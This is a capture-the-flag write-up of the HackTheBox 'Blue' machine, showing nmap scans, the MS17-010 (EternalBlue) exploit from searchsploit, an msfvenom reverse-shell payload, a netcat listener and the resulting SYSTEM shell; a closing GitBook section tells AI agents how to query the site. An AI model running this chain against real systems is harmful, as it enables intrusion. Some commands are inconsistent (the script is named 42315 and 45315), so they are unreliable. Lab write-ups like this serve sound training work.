> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/hackthebox/linux-boxes-w-o-metasploit/blue-writeup.md).

# Blue Writeup

![](/files/-Maewh37qVD0uPCbWTHk)

## Reconnaissance&#x20;

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```
nmap -Pn 10.10.10.40
```

![](/files/-Maex9J4UuxB2EsVe9wy)

Detailed Nmap Scan :‌

Command Breakdown:‌

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 135,139,445
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 135,139,445 -oN nmap 10.10.10.40
```

![](/files/-MaeyAAi5j11j8fyzSQ7)

## Enumeration&#x20;

Lets run a nmap vulnerability script to find vulnerabilities.

```
nmap --script vuln 10.10.10.40
```

![](/files/-Maf-Z2Mt2cfz_pnyjL-)

We can see that it is vulnerable to ms17-010 , also known as Eternal Blue.&#x20;

## Exploitation

Let us go to searchsploit and search for this vulnerabilities exploit.&#x20;

```
searchsploit ms17-010
```

![](/files/-Maf08p3MfGyaJnn3LWS)

We see from the nmap scan that it is Windows 7 machine and there are multiple versions on the exploit we chose, so lets exploit the machine using that. Now we have to copy it to our directory

```
searchsploit -m windows/remote/42315.py
```

![](/files/-Maf0cRbz6MDF6Ms2sP3)

Lets read the documentation in the script and look at the steps to use this exploit

After reading the exploit, we have 3 steps to do:&#x20;

* Download a script called mysmb.py from the location they provided in the script
* Create a reverse shell using MSF Venom.
* &#x20;Add credentials and the reverse shell payload to the exploit

First let us download the script called mysmb.py and rename it to mysmb.py

```
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py
mv 42315.py.1 mysmb.py
```

![](/files/-Maf2jCgDqt27Szned0R)

![](/files/-Maf33_uolzVJW0A0iUd)

Next we have to use MSF Venom to create a executable with a reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.19 LPORT=1234 > exploit.exe
```

Now we have to change the exploit by adding credententials. At this moment, we don't know have or know valid credentials, so we can check what login is allowed, we can first test guest or user. We can do this using enum4linux. (**-a**) for simple enumeration.

```
enum4linux -a 10.10.10.40
```

![](/files/-Maf4MAKHZadtV0pUM1R)

We can see that guest is a know username, so lets use that, we have to add that to the USERNAME field in the script.

![](/files/-Maf4ZuI4Ew1m_FodFYQ)

Now we have to add the reverse shell location and execute the script (\*also remove the copy from r'cmd /c , I forgot to take it out while taking this screenshot")

![](/files/-Maf5Vxt5MNEr8gp9drn)

Now, start the listener on your machine

```
nc -lvnp 1234
```

![](/files/-Maf5qUijsCOwWSiVL8c)

Now run the exploit

```
python 45315.py 10.10.10.40
```

![](/files/-MafECshDD6J4RGTfB3P)

And you should get a reverse shell, and as nt authority/system

![](/files/-MafDXP6ZhZer4p0cKyS)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://writeups.adityadindi.com/hackthebox/linux-boxes-w-o-metasploit/blue-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
